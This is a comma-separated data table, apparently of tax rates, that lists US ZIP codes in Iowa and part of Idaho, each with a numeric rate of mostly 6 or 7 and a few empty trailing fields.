US-IA-50631,US,IA,50631,7,,,, US-IA-50632,US,IA,50632,7,,,, US-IA-50633,US,IA,50633,7,,,, US-IA-50634,US,IA,50634,7,,,, US-IA-50635,US,IA,50635,7,,,, US-IA-50636,US,IA,50636,7,,,, US-IA-50638,US,IA,50638,7,,,, US-IA-50641,US,IA,50641,7,,,, US-IA-50642,US,IA,50642,7,,,, US-IA-50643,US,IA,50643,7,,,, US-IA-50644,US,IA,50644,7,,,, US-IA-50645,US,IA,50645,7,,,, US-IA-50647,US,IA,50647,7,,,, US-IA-50648,US,IA,50648,7,,,, US-IA-50649,US,IA,50649,7,,,, US-IA-50650,US,IA,50650,7,,,, US-IA-50651,US,IA,50651,7,,,, US-IA-50652,US,IA,50652,7,,,, US-IA-50653,US,IA,50653,7,,,, US-IA-50654,US,IA,50654,7,,,, US-IA-50655,US,IA,50655,7,,,, US-IA-50657,US,IA,50657,7,,,, US-IA-50658,US,IA,50658,7,,,, US-IA-50659,US,IA,50659,7,,,, US-IA-50660,US,IA,50660,7,,,, US-IA-50661,US,IA,50661,7,,,, US-IA-50662,US,IA,50662,7,,,, US-IA-50664,US,IA,50664,7,,,, US-IA-50665,US,IA,50665,7,,,, US-IA-50666,US,IA,50666,7,,,, US-IA-50667,US,IA,50667,7,,,, US-IA-50668,US,IA,50668,7,,,, US-IA-50669,US,IA,50669,6,,,, US-IA-50670,US,IA,50670,7,,,, US-IA-50671,US,IA,50671,7,,,, US-IA-50672,US,IA,50672,7,,,, US-IA-50673,US,IA,50673,7,,,, US-IA-50674,US,IA,50674,7,,,, US-IA-50675,US,IA,50675,7,,,, US-IA-50676,US,IA,50676,7,,,, US-IA-50677,US,IA,50677,7,,,, US-IA-50680,US,IA,50680,7,,,, US-IA-50681,US,IA,50681,7,,,, US-IA-50682,US,IA,50682,7,,,, US-IA-50701,US,IA,50701,7,,,, US-IA-50702,US,IA,50702,7,,,, US-IA-50703,US,IA,50703,7,,,, US-IA-50704,US,IA,50704,7,,,, US-IA-50707,US,IA,50707,7,,,, US-IA-50801,US,IA,50801,7,,,, US-IA-50830,US,IA,50830,7,,,, US-IA-50831,US,IA,50831,7,,,, US-IA-50833,US,IA,50833,7,,,, US-IA-50835,US,IA,50835,7,,,, US-IA-50836,US,IA,50836,7,,,, US-IA-50837,US,IA,50837,7,,,, US-IA-50839,US,IA,50839,7,,,, US-IA-50840,US,IA,50840,7,,,, US-IA-50841,US,IA,50841,7,,,, US-IA-50842,US,IA,50842,7,,,, US-IA-50843,US,IA,50843,7,,,, US-IA-50845,US,IA,50845,7,,,, US-IA-50846,US,IA,50846,7,,,, US-IA-50847,US,IA,50847,7,,,, US-IA-50848,US,IA,50848,7,,,, US-IA-50849,US,IA,50849,7,,,, US-IA-50851,US,IA,50851,7,,,, US-IA-50853,US,IA,50853,7,,,, US-IA-50854,US,IA,50854,7,,,, US-IA-50857,US,IA,50857,7,,,, US-IA-50858,US,IA,50858,7,,,, US-IA-50859,US,IA,50859,7,,,, US-IA-50860,US,IA,50860,7,,,, US-IA-50861,US,IA,50861,7,,,, US-IA-50862,US,IA,50862,7,,,, US-IA-50863,US,IA,50863,7,,,, US-IA-50864,US,IA,50864,7,,,, US-IA-50936,US,IA,50936,6,,,, US-IA-50940,US,IA,50940,6,,,, US-IA-50947,US,IA,50947,6,,,, US-IA-50950,US,IA,50950,6,,,, US-IA-50980,US,IA,50980,6,,,, US-IA-50981,US,IA,50981,6,,,, US-IA-50982,US,IA,50982,6,,,, US-IA-50983,US,IA,50983,6,,,, US-IA-51001,US,IA,51001,7,,,, US-IA-51002,US,IA,51002,7,,,, US-IA-51003,US,IA,51003,7,,,, US-IA-51004,US,IA,51004,7,,,, US-IA-51005,US,IA,51005,7,,,, US-IA-51006,US,IA,51006,7,,,, US-IA-51007,US,IA,51007,7,,,, US-IA-51008,US,IA,51008,7,,,, US-IA-51009,US,IA,51009,7,,,, US-IA-51010,US,IA,51010,7,,,, US-IA-51011,US,IA,51011,7,,,, US-IA-51012,US,IA,51012,7,,,, US-IA-51014,US,IA,51014,7,,,, US-IA-51015,US,IA,51015,7,,,, US-IA-51016,US,IA,51016,7,,,, US-IA-51018,US,IA,51018,7,,,, US-IA-51019,US,IA,51019,7,,,, US-IA-51020,US,IA,51020,7,,,, US-IA-51022,US,IA,51022,7,,,, US-IA-51023,US,IA,51023,7,,,, US-IA-51024,US,IA,51024,7,,,, US-IA-51025,US,IA,51025,7,,,, US-IA-51026,US,IA,51026,7,,,, US-IA-51027,US,IA,51027,7,,,, US-IA-51028,US,IA,51028,7,,,, US-IA-51029,US,IA,51029,7,,,, US-IA-51030,US,IA,51030,7,,,, US-IA-51031,US,IA,51031,7,,,, US-IA-51033,US,IA,51033,7,,,, US-IA-51034,US,IA,51034,7,,,, US-IA-51035,US,IA,51035,7,,,, US-IA-51036,US,IA,51036,7,,,, US-IA-51037,US,IA,51037,7,,,, US-IA-51038,US,IA,51038,7,,,, US-IA-51039,US,IA,51039,7,,,, US-IA-51040,US,IA,51040,7,,,, US-IA-51041,US,IA,51041,7,,,, US-IA-51044,US,IA,51044,7,,,, US-IA-51045,US,IA,51045,7,,,, US-IA-51046,US,IA,51046,7,,,, US-IA-51047,US,IA,51047,7,,,, US-IA-51048,US,IA,51048,7,,,, US-IA-51049,US,IA,51049,7,,,, US-IA-51050,US,IA,51050,7,,,, US-IA-51051,US,IA,51051,7,,,, US-IA-51052,US,IA,51052,7,,,, US-IA-51053,US,IA,51053,7,,,, US-IA-51054,US,IA,51054,7,,,, US-IA-51055,US,IA,51055,7,,,, US-IA-51056,US,IA,51056,7,,,, US-IA-51058,US,IA,51058,7,,,, US-IA-51060,US,IA,51060,7,,,, US-IA-51061,US,IA,51061,7,,,, US-IA-51062,US,IA,51062,7,,,, US-IA-51063,US,IA,51063,7,,,, US-IA-51101,US,IA,51101,7,,,, US-IA-51102,US,IA,51102,7,,,, US-IA-51103,US,IA,51103,7,,,, US-IA-51104,US,IA,51104,7,,,, US-IA-51105,US,IA,51105,7,,,, US-IA-51106,US,IA,51106,7,,,, US-IA-51108,US,IA,51108,7,,,, US-IA-51109,US,IA,51109,7,,,, US-IA-51111,US,IA,51111,7,,,, US-IA-51201,US,IA,51201,7,,,, US-IA-51230,US,IA,51230,7,,,, US-IA-51231,US,IA,51231,7,,,, US-IA-51232,US,IA,51232,6,,,, US-IA-51234,US,IA,51234,7,,,, US-IA-51235,US,IA,51235,7,,,, US-IA-51237,US,IA,51237,7,,,, US-IA-51238,US,IA,51238,7,,,, US-IA-51239,US,IA,51239,7,,,, US-IA-51240,US,IA,51240,7,,,, US-IA-51241,US,IA,51241,7,,,, US-IA-51242,US,IA,51242,7,,,, US-IA-51243,US,IA,51243,7,,,, US-IA-51244,US,IA,51244,7,,,, US-IA-51245,US,IA,51245,7,,,, US-IA-51246,US,IA,51246,7,,,, US-IA-51247,US,IA,51247,7,,,, US-IA-51248,US,IA,51248,7,,,, US-IA-51249,US,IA,51249,7,,,, US-IA-51250,US,IA,51250,7,,,, US-IA-51301,US,IA,51301,7,,,, US-IA-51331,US,IA,51331,7,,,, US-IA-51333,US,IA,51333,7,,,, US-IA-51334,US,IA,51334,7,,,, US-IA-51338,US,IA,51338,7,,,, US-IA-51340,US,IA,51340,7,,,, US-IA-51341,US,IA,51341,7,,,, US-IA-51342,US,IA,51342,7,,,, US-IA-51343,US,IA,51343,7,,,, US-IA-51345,US,IA,51345,6,,,, US-IA-51346,US,IA,51346,7,,,, US-IA-51347,US,IA,51347,7,,,, US-IA-51350,US,IA,51350,6,,,, US-IA-51351,US,IA,51351,7,,,, US-IA-51354,US,IA,51354,6,,,, US-IA-51355,US,IA,51355,7,,,, US-IA-51357,US,IA,51357,7,,,, US-IA-51358,US,IA,51358,7,,,, US-IA-51360,US,IA,51360,7,,,, US-IA-51363,US,IA,51363,7,,,, US-IA-51364,US,IA,51364,7,,,, US-IA-51365,US,IA,51365,7,,,, US-IA-51366,US,IA,51366,7,,,, US-IA-51401,US,IA,51401,7,,,, US-IA-51430,US,IA,51430,7,,,, US-IA-51431,US,IA,51431,7,,,, US-IA-51432,US,IA,51432,7,,,, US-IA-51433,US,IA,51433,7,,,, US-IA-51436,US,IA,51436,7,,,, US-IA-51439,US,IA,51439,7,,,, US-IA-51440,US,IA,51440,7,,,, US-IA-51441,US,IA,51441,7,,,, US-IA-51442,US,IA,51442,7,,,, US-IA-51443,US,IA,51443,7,,,, US-IA-51444,US,IA,51444,7,,,, US-IA-51445,US,IA,51445,7,,,, US-IA-51446,US,IA,51446,7,,,, US-IA-51447,US,IA,51447,7,,,, US-IA-51448,US,IA,51448,7,,,, US-IA-51449,US,IA,51449,7,,,, US-IA-51450,US,IA,51450,7,,,, US-IA-51451,US,IA,51451,7,,,, US-IA-51452,US,IA,51452,7,,,, US-IA-51453,US,IA,51453,7,,,, US-IA-51454,US,IA,51454,7,,,, US-IA-51455,US,IA,51455,7,,,, US-IA-51458,US,IA,51458,7,,,, US-IA-51459,US,IA,51459,7,,,, US-IA-51460,US,IA,51460,7,,,, US-IA-51461,US,IA,51461,7,,,, US-IA-51462,US,IA,51462,7,,,, US-IA-51463,US,IA,51463,7,,,, US-IA-51465,US,IA,51465,7,,,, US-IA-51466,US,IA,51466,7,,,, US-IA-51467,US,IA,51467,7,,,, US-IA-51501,US,IA,51501,7,,,, US-IA-51502,US,IA,51502,7,,,, US-IA-51503,US,IA,51503,7,,,, US-IA-51510,US,IA,51510,7,,,, US-IA-51520,US,IA,51520,7,,,, US-IA-51521,US,IA,51521,7,,,, US-IA-51523,US,IA,51523,7,,,, US-IA-51525,US,IA,51525,7,,,, US-IA-51526,US,IA,51526,7,,,, US-IA-51527,US,IA,51527,7,,,, US-IA-51528,US,IA,51528,7,,,, US-IA-51529,US,IA,51529,7,,,, US-IA-51530,US,IA,51530,7,,,, US-IA-51531,US,IA,51531,7,,,, US-IA-51532,US,IA,51532,7,,,, US-IA-51533,US,IA,51533,7,,,, US-IA-51534,US,IA,51534,7,,,, US-IA-51535,US,IA,51535,7,,,, US-IA-51536,US,IA,51536,7,,,, US-IA-51537,US,IA,51537,7,,,, US-IA-51540,US,IA,51540,7,,,, US-IA-51541,US,IA,51541,7,,,, US-IA-51542,US,IA,51542,7,,,, US-IA-51543,US,IA,51543,7,,,, US-IA-51544,US,IA,51544,7,,,, US-IA-51545,US,IA,51545,7,,,, US-IA-51546,US,IA,51546,7,,,, US-IA-51548,US,IA,51548,7,,,, US-IA-51549,US,IA,51549,7,,,, US-IA-51550,US,IA,51550,7,,,, US-IA-51551,US,IA,51551,7,,,, US-IA-51552,US,IA,51552,7,,,, US-IA-51553,US,IA,51553,7,,,, US-IA-51554,US,IA,51554,7,,,, US-IA-51555,US,IA,51555,7,,,, US-IA-51556,US,IA,51556,7,,,, US-IA-51557,US,IA,51557,7,,,, US-IA-51558,US,IA,51558,7,,,, US-IA-51559,US,IA,51559,7,,,, US-IA-51560,US,IA,51560,7,,,, US-IA-51561,US,IA,51561,7,,,, US-IA-51562,US,IA,51562,7,,,, US-IA-51563,US,IA,51563,7,,,, US-IA-51564,US,IA,51564,7,,,, US-IA-51565,US,IA,51565,7,,,, US-IA-51566,US,IA,51566,7,,,, US-IA-51570,US,IA,51570,7,,,, US-IA-51571,US,IA,51571,7,,,, US-IA-51572,US,IA,51572,7,,,, US-IA-51573,US,IA,51573,7,,,, US-IA-51575,US,IA,51575,7,,,, US-IA-51576,US,IA,51576,7,,,, US-IA-51577,US,IA,51577,7,,,, US-IA-51578,US,IA,51578,7,,,, US-IA-51579,US,IA,51579,7,,,, US-IA-51591,US,IA,51591,7,,,, US-IA-51593,US,IA,51593,7,,,, US-IA-51601,US,IA,51601,7,,,, US-IA-51603,US,IA,51603,7,,,, US-IA-51630,US,IA,51630,7,,,, US-IA-51631,US,IA,51631,7,,,, US-IA-51632,US,IA,51632,7,,,, US-IA-51636,US,IA,51636,7,,,, US-IA-51637,US,IA,51637,7,,,, US-IA-51638,US,IA,51638,7,,,, US-IA-51639,US,IA,51639,7,,,, US-IA-51640,US,IA,51640,7,,,, US-IA-51645,US,IA,51645,7,,,, US-IA-51646,US,IA,51646,7,,,, US-IA-51647,US,IA,51647,7,,,, US-IA-51648,US,IA,51648,7,,,, US-IA-51649,US,IA,51649,7,,,, US-IA-51650,US,IA,51650,7,,,, US-IA-51651,US,IA,51651,7,,,, US-IA-51652,US,IA,51652,7,,,, US-IA-51653,US,IA,51653,7,,,, US-IA-51654,US,IA,51654,7,,,, US-IA-51656,US,IA,51656,7,,,, US-IA-52001,US,IA,52001,7,,,, US-IA-52002,US,IA,52002,7,,,, US-IA-52003,US,IA,52003,7,,,, US-IA-52004,US,IA,52004,7,,,, US-IA-52030,US,IA,52030,7,,,, US-IA-52031,US,IA,52031,7,,,, US-IA-52032,US,IA,52032,7,,,, US-IA-52033,US,IA,52033,7,,,, US-IA-52035,US,IA,52035,7,,,, US-IA-52036,US,IA,52036,7,,,, US-IA-52037,US,IA,52037,7,,,, US-IA-52038,US,IA,52038,7,,,, US-IA-52039,US,IA,52039,7,,,, US-IA-52040,US,IA,52040,7,,,, US-IA-52041,US,IA,52041,7,,,, US-IA-52042,US,IA,52042,7,,,, US-IA-52043,US,IA,52043,7,,,, US-IA-52044,US,IA,52044,7,,,, US-IA-52045,US,IA,52045,7,,,, US-IA-52046,US,IA,52046,7,,,, US-IA-52047,US,IA,52047,7,,,, US-IA-52048,US,IA,52048,7,,,, US-IA-52049,US,IA,52049,7,,,, US-IA-52050,US,IA,52050,7,,,, US-IA-52052,US,IA,52052,7,,,, US-IA-52053,US,IA,52053,7,,,, US-IA-52054,US,IA,52054,7,,,, US-IA-52056,US,IA,52056,7,,,, US-IA-52057,US,IA,52057,7,,,, US-IA-52060,US,IA,52060,7,,,, US-IA-52064,US,IA,52064,7,,,, US-IA-52065,US,IA,52065,7,,,, US-IA-52066,US,IA,52066,7,,,, US-IA-52068,US,IA,52068,7,,,, US-IA-52069,US,IA,52069,7,,,, US-IA-52070,US,IA,52070,7,,,, US-IA-52071,US,IA,52071,7,,,, US-IA-52072,US,IA,52072,7,,,, US-IA-52073,US,IA,52073,7,,,, US-IA-52074,US,IA,52074,7,,,, US-IA-52075,US,IA,52075,7,,,, US-IA-52076,US,IA,52076,7,,,, US-IA-52077,US,IA,52077,7,,,, US-IA-52078,US,IA,52078,7,,,, US-IA-52079,US,IA,52079,7,,,, US-IA-52099,US,IA,52099,7,,,, US-IA-52101,US,IA,52101,7,,,, US-IA-52132,US,IA,52132,7,,,, US-IA-52133,US,IA,52133,7,,,, US-IA-52134,US,IA,52134,7,,,, US-IA-52135,US,IA,52135,7,,,, US-IA-52136,US,IA,52136,7,,,, US-IA-52140,US,IA,52140,7,,,, US-IA-52141,US,IA,52141,7,,,, US-IA-52142,US,IA,52142,7,,,, US-IA-52144,US,IA,52144,7,,,, US-IA-52146,US,IA,52146,7,,,, US-IA-52147,US,IA,52147,7,,,, US-IA-52149,US,IA,52149,7,,,, US-IA-52151,US,IA,52151,7,,,, US-IA-52154,US,IA,52154,7,,,, US-IA-52155,US,IA,52155,7,,,, US-IA-52156,US,IA,52156,7,,,, US-IA-52157,US,IA,52157,7,,,, US-IA-52158,US,IA,52158,7,,,, US-IA-52159,US,IA,52159,7,,,, US-IA-52160,US,IA,52160,7,,,, US-IA-52161,US,IA,52161,7,,,, US-IA-52162,US,IA,52162,7,,,, US-IA-52163,US,IA,52163,7,,,, US-IA-52164,US,IA,52164,7,,,, US-IA-52165,US,IA,52165,7,,,, US-IA-52166,US,IA,52166,7,,,, US-IA-52168,US,IA,52168,7,,,, US-IA-52169,US,IA,52169,7,,,, US-IA-52170,US,IA,52170,7,,,, US-IA-52171,US,IA,52171,7,,,, US-IA-52172,US,IA,52172,7,,,, US-IA-52175,US,IA,52175,7,,,, US-IA-52201,US,IA,52201,7,,,, US-IA-52202,US,IA,52202,7,,,, US-IA-52203,US,IA,52203,7,,,, US-IA-52204,US,IA,52204,7,,,, US-IA-52205,US,IA,52205,7,,,, US-IA-52206,US,IA,52206,7,,,, US-IA-52207,US,IA,52207,7,,,, US-IA-52208,US,IA,52208,7,,,, US-IA-52209,US,IA,52209,7,,,, US-IA-52210,US,IA,52210,7,,,, US-IA-52211,US,IA,52211,7,,,, US-IA-52212,US,IA,52212,7,,,, US-IA-52213,US,IA,52213,7,,,, US-IA-52214,US,IA,52214,7,,,, US-IA-52215,US,IA,52215,7,,,, US-IA-52216,US,IA,52216,7,,,, US-IA-52217,US,IA,52217,7,,,, US-IA-52218,US,IA,52218,7,,,, US-IA-52219,US,IA,52219,7,,,, US-IA-52220,US,IA,52220,7,,,, US-IA-52221,US,IA,52221,7,,,, US-IA-52222,US,IA,52222,7,,,, US-IA-52223,US,IA,52223,7,,,, US-IA-52224,US,IA,52224,7,,,, US-IA-52225,US,IA,52225,7,,,, US-IA-52227,US,IA,52227,7,,,, US-IA-52228,US,IA,52228,7,,,, US-IA-52229,US,IA,52229,7,,,, US-IA-52231,US,IA,52231,6,,,, US-IA-52232,US,IA,52232,7,,,, US-IA-52233,US,IA,52233,7,,,, US-IA-52235,US,IA,52235,6,,,, US-IA-52236,US,IA,52236,7,,,, US-IA-52237,US,IA,52237,7,,,, US-IA-52240,US,IA,52240,6,,,, US-IA-52241,US,IA,52241,6,,,, US-IA-52242,US,IA,52242,6,,,, US-IA-52243,US,IA,52243,6,,,, US-IA-52244,US,IA,52244,6,,,, US-IA-52245,US,IA,52245,6,,,, US-IA-52246,US,IA,52246,6,,,, US-IA-52247,US,IA,52247,7,,,, US-IA-52248,US,IA,52248,7,,,, US-IA-52249,US,IA,52249,7,,,, US-IA-52251,US,IA,52251,7,,,, US-IA-52252,US,IA,52252,7,,,, US-IA-52253,US,IA,52253,7,,,, US-IA-52254,US,IA,52254,7,,,, US-IA-52255,US,IA,52255,7,,,, US-IA-52257,US,IA,52257,7,,,, US-IA-52301,US,IA,52301,7,,,, US-IA-52302,US,IA,52302,7,,,, US-IA-52305,US,IA,52305,7,,,, US-IA-52306,US,IA,52306,7,,,, US-IA-52307,US,IA,52307,7,,,, US-IA-52308,US,IA,52308,7,,,, US-IA-52309,US,IA,52309,7,,,, US-IA-52310,US,IA,52310,7,,,, US-IA-52312,US,IA,52312,7,,,, US-IA-52313,US,IA,52313,7,,,, US-IA-52314,US,IA,52314,7,,,, US-IA-52315,US,IA,52315,7,,,, US-IA-52316,US,IA,52316,7,,,, US-IA-52317,US,IA,52317,6,,,, US-IA-52318,US,IA,52318,7,,,, US-IA-52320,US,IA,52320,7,,,, US-IA-52321,US,IA,52321,7,,,, US-IA-52322,US,IA,52322,6,,,, US-IA-52323,US,IA,52323,7,,,, US-IA-52324,US,IA,52324,7,,,, US-IA-52325,US,IA,52325,7,,,, US-IA-52326,US,IA,52326,7,,,, US-IA-52327,US,IA,52327,7,,,, US-IA-52328,US,IA,52328,7,,,, US-IA-52329,US,IA,52329,7,,,, US-IA-52330,US,IA,52330,7,,,, US-IA-52332,US,IA,52332,7,,,, US-IA-52333,US,IA,52333,6,,,, US-IA-52334,US,IA,52334,7,,,, US-IA-52335,US,IA,52335,6,,,, US-IA-52336,US,IA,52336,7,,,, US-IA-52337,US,IA,52337,7,,,, US-IA-52338,US,IA,52338,6,,,, US-IA-52339,US,IA,52339,7,,,, US-IA-52340,US,IA,52340,6,,,, US-IA-52341,US,IA,52341,7,,,, US-IA-52342,US,IA,52342,7,,,, US-IA-52344,US,IA,52344,7,,,, US-IA-52345,US,IA,52345,7,,,, US-IA-52346,US,IA,52346,7,,,, US-IA-52347,US,IA,52347,7,,,, US-IA-52348,US,IA,52348,7,,,, US-IA-52349,US,IA,52349,7,,,, US-IA-52351,US,IA,52351,6,,,, US-IA-52352,US,IA,52352,7,,,, US-IA-52353,US,IA,52353,7,,,, US-IA-52354,US,IA,52354,7,,,, US-IA-52355,US,IA,52355,6,,,, US-IA-52356,US,IA,52356,7,,,, US-IA-52358,US,IA,52358,7,,,, US-IA-52359,US,IA,52359,7,,,, US-IA-52361,US,IA,52361,7,,,, US-IA-52362,US,IA,52362,7,,,, US-IA-52401,US,IA,52401,7,,,, US-IA-52402,US,IA,52402,7,,,, US-IA-52403,US,IA,52403,7,,,, US-IA-52404,US,IA,52404,7,,,, US-IA-52405,US,IA,52405,7,,,, US-IA-52406,US,IA,52406,7,,,, US-IA-52407,US,IA,52407,7,,,, US-IA-52408,US,IA,52408,7,,,, US-IA-52409,US,IA,52409,7,,,, US-IA-52410,US,IA,52410,7,,,, US-IA-52411,US,IA,52411,7,,,, US-IA-52497,US,IA,52497,7,,,, US-IA-52498,US,IA,52498,7,,,, US-IA-52499,US,IA,52499,7,,,, US-IA-52501,US,IA,52501,7,,,, US-IA-52530,US,IA,52530,7,,,, US-IA-52531,US,IA,52531,7,,,, US-IA-52533,US,IA,52533,7,,,, US-IA-52534,US,IA,52534,7,,,, US-IA-52535,US,IA,52535,6,,,, US-IA-52536,US,IA,52536,7,,,, US-IA-52537,US,IA,52537,7,,,, US-IA-52540,US,IA,52540,7,,,, US-IA-52542,US,IA,52542,6,,,, US-IA-52543,US,IA,52543,7,,,, US-IA-52544,US,IA,52544,7,,,, US-IA-52548,US,IA,52548,7,,,, US-IA-52549,US,IA,52549,7,,,, US-IA-52550,US,IA,52550,6,,,, US-IA-52551,US,IA,52551,6,,,, US-IA-52552,US,IA,52552,7,,,, US-IA-52553,US,IA,52553,7,,,, US-IA-52554,US,IA,52554,7,,,, US-IA-52555,US,IA,52555,7,,,, US-IA-52556,US,IA,52556,7,,,, US-IA-52557,US,IA,52557,7,,,, US-IA-52560,US,IA,52560,7,,,, US-IA-52561,US,IA,52561,7,,,, US-IA-52562,US,IA,52562,7,,,, US-IA-52563,US,IA,52563,7,,,, US-IA-52565,US,IA,52565,6,,,, US-IA-52566,US,IA,52566,7,,,, US-IA-52567,US,IA,52567,7,,,, US-IA-52568,US,IA,52568,7,,,, US-IA-52569,US,IA,52569,7,,,, US-IA-52570,US,IA,52570,6,,,, US-IA-52571,US,IA,52571,7,,,, US-IA-52572,US,IA,52572,7,,,, US-IA-52573,US,IA,52573,6,,,, US-IA-52574,US,IA,52574,7,,,, US-IA-52576,US,IA,52576,6,,,, US-IA-52577,US,IA,52577,7,,,, US-IA-52580,US,IA,52580,7,,,, US-IA-52581,US,IA,52581,7,,,, US-IA-52583,US,IA,52583,7,,,, US-IA-52584,US,IA,52584,7,,,, US-IA-52585,US,IA,52585,6,,,, US-IA-52586,US,IA,52586,7,,,, US-IA-52588,US,IA,52588,6,,,, US-IA-52590,US,IA,52590,7,,,, US-IA-52591,US,IA,52591,7,,,, US-IA-52593,US,IA,52593,7,,,, US-IA-52594,US,IA,52594,7,,,, US-IA-52595,US,IA,52595,7,,,, US-IA-52601,US,IA,52601,7,,,, US-IA-52619,US,IA,52619,7,,,, US-IA-52620,US,IA,52620,6,,,, US-IA-52621,US,IA,52621,7,,,, US-IA-52623,US,IA,52623,7,,,, US-IA-52624,US,IA,52624,7,,,, US-IA-52625,US,IA,52625,7,,,, US-IA-52626,US,IA,52626,6,,,, US-IA-52627,US,IA,52627,7,,,, US-IA-52630,US,IA,52630,7,,,, US-IA-52631,US,IA,52631,7,,,, US-IA-52632,US,IA,52632,7,,,, US-IA-52635,US,IA,52635,7,,,, US-IA-52637,US,IA,52637,7,,,, US-IA-52638,US,IA,52638,7,,,, US-IA-52639,US,IA,52639,7,,,, US-IA-52640,US,IA,52640,7,,,, US-IA-52641,US,IA,52641,7,,,, US-IA-52642,US,IA,52642,7,,,, US-IA-52644,US,IA,52644,7,,,, US-IA-52645,US,IA,52645,7,,,, US-IA-52646,US,IA,52646,7,,,, US-IA-52647,US,IA,52647,7,,,, US-IA-52648,US,IA,52648,7,,,, US-IA-52649,US,IA,52649,7,,,, US-IA-52650,US,IA,52650,7,,,, US-IA-52651,US,IA,52651,6,,,, US-IA-52652,US,IA,52652,7,,,, US-IA-52653,US,IA,52653,7,,,, US-IA-52654,US,IA,52654,7,,,, US-IA-52655,US,IA,52655,7,,,, US-IA-52656,US,IA,52656,7,,,, US-IA-52657,US,IA,52657,7,,,, US-IA-52658,US,IA,52658,7,,,, US-IA-52659,US,IA,52659,7,,,, US-IA-52660,US,IA,52660,7,,,, US-IA-52701,US,IA,52701,7,,,, US-IA-52720,US,IA,52720,7,,,, US-IA-52721,US,IA,52721,7,,,, US-IA-52722,US,IA,52722,7,,,, US-IA-52726,US,IA,52726,7,,,, US-IA-52727,US,IA,52727,7,,,, US-IA-52728,US,IA,52728,7,,,, US-IA-52729,US,IA,52729,7,,,, US-IA-52730,US,IA,52730,7,,,, US-IA-52731,US,IA,52731,7,,,, US-IA-52732,US,IA,52732,7,,,, US-IA-52733,US,IA,52733,7,,,, US-IA-52734,US,IA,52734,7,,,, US-IA-52736,US,IA,52736,7,,,, US-IA-52737,US,IA,52737,7,,,, US-IA-52738,US,IA,52738,7,,,, US-IA-52739,US,IA,52739,7,,,, US-IA-52742,US,IA,52742,7,,,, US-IA-52745,US,IA,52745,7,,,, US-IA-52746,US,IA,52746,7,,,, US-IA-52747,US,IA,52747,7,,,, US-IA-52748,US,IA,52748,7,,,, US-IA-52749,US,IA,52749,7,,,, US-IA-52750,US,IA,52750,7,,,, US-IA-52751,US,IA,52751,7,,,, US-IA-52752,US,IA,52752,7,,,, US-IA-52753,US,IA,52753,7,,,, US-IA-52754,US,IA,52754,7,,,, US-IA-52755,US,IA,52755,6,,,, US-IA-52756,US,IA,52756,7,,,, US-IA-52757,US,IA,52757,7,,,, US-IA-52758,US,IA,52758,7,,,, US-IA-52759,US,IA,52759,7,,,, US-IA-52760,US,IA,52760,7,,,, US-IA-52761,US,IA,52761,7,,,, US-IA-52765,US,IA,52765,7,,,, US-IA-52766,US,IA,52766,7,,,, US-IA-52767,US,IA,52767,7,,,, US-IA-52768,US,IA,52768,7,,,, US-IA-52769,US,IA,52769,7,,,, US-IA-52771,US,IA,52771,7,,,, US-IA-52772,US,IA,52772,7,,,, US-IA-52773,US,IA,52773,7,,,, US-IA-52774,US,IA,52774,7,,,, US-IA-52776,US,IA,52776,7,,,, US-IA-52777,US,IA,52777,7,,,, US-IA-52778,US,IA,52778,7,,,, US-IA-52801,US,IA,52801,7,,,, US-IA-52802,US,IA,52802,7,,,, US-IA-52803,US,IA,52803,7,,,, US-IA-52804,US,IA,52804,7,,,, US-IA-52805,US,IA,52805,7,,,, US-IA-52806,US,IA,52806,7,,,, US-IA-52807,US,IA,52807,7,,,, US-IA-52808,US,IA,52808,7,,,, US-IA-52809,US,IA,52809,7,,,, US-ID-83201,US,ID,83201,6,,,, US-ID-83202,US,ID,83202,6,,,, US-ID-83203,US,ID,83203,6,,,, US-ID-83204,US,ID,83204,6,,,, US-ID-83205,US,ID,83205,6,,,, US-ID-83206,US,ID,83206,6,,,, US-ID-83209,US,ID,83209,6,,,, US-ID-83210,US,ID,83210,6,,,, US-ID-83211,US,ID,83211,6,,,, US-ID-83212,US,ID,83212,6,,,, US-ID-83213,US,ID,83213,6,,,, US-ID-83214,US,ID,83214,6,,,, US-ID-83215,US,ID,83215,6,,,, US-ID-83217,US,ID,83217,6,,,, US-ID-83218,US,ID,83218,6,,,, US-ID-83220,US,ID,83220,6,,,, US-ID-83221,US,ID,83221,6,,,, US-ID-83223,US,ID,83223,6,,,, US-ID-83226,US,ID,83226,6,,,, US-ID-83227,US,ID,83227,6,,,, US-ID-83228,US,ID,83228,6,,,, US-ID-83232,US,ID,83232,6,,,, US-ID-83233,US,ID,83233,6,,,, US-ID-83234,US,ID,83234,6,,,, US-ID-83235,US,ID,83235,6,,,, US-ID-83236,US,ID,83236,6,,,, US-ID-83237,US,ID,83237,6,,,, US-ID-83238,US,ID,83238,6,,,, US-ID-83239,US,ID,83239,6,,,, US-ID-83241,US,ID,83241,6,,,, US-ID-83243,US,ID,83243,6,,,, US-ID-83244,US,ID,83244,6,,,, US-ID-83245,US,ID,83245,6,,,, US-ID-83246,US,ID,83246,6,,,, US-ID-83250,US,ID,83250,6,,,, US-ID-83251,US,ID,83251,6,,,, US-ID-83252,US,ID,83252,6,,,, US-ID-83253,US,ID,83253,6,,,, US-ID-83254,US,ID,83254,6,,,, US-ID-83255,US,ID,83255,6,,,, US-ID-83256,US,ID,83256,6,,,, US-ID-83261,US,ID,83261,6,,,, US-ID-83262,US,ID,83262,6,,,, US-ID-83263,US,ID,83263,6,,,, US-ID-83271,US,ID,83271,6,,,, US-ID-83272,US,ID,83272,6,,,, US-ID-83274,US,ID,83274,6,,,, US-ID-83276,US,ID,83276,6,,,, US-ID-83277,US,ID,83277,6,,,, US-ID-83278,US,ID,83278,8.5,,,, US-ID-83281,US,ID,83281,6,,,, US-ID-83283,US,ID,83283,6,,,, US-ID-83285,US,ID,83285,6,,,, US-ID-83286,US,ID,83286,6,,,, US-ID-83287,US,ID,83287,6,,,, US-ID-83301,US,ID,83301,6,,,, US-ID-83302,US,ID,83302,6,,,, US-ID-83303,US,ID,83303,6,,,, US-ID-83311,US,ID,83311,6,,,, US-ID-83312,US,ID,83312,6,,,, US-ID-83313,US,ID,83313,6,,,, US-ID-83314,US,ID,83314,6,,,, US-ID-83316,US,ID,83316,6,,,, US-ID-83318,US,ID,83318,6,,,, US-ID-83320,US,ID,83320,6,,,, US-ID-83321,US,ID,83321,6,,,, US-ID-83322,US,ID,83322,6,,,, US-ID-83323,US,ID,83323,6,,,, US-ID-83324,US,ID,83324,6,,,, US-ID-83325,US,ID,83325,6,,,, US-ID-83327,US,ID,83327,6,,,, US-ID-83328,US,ID,83328,6,,,, US-ID-83330,US,ID,83330,6,,,, US-ID-83332,US,ID,83332,6,,,, 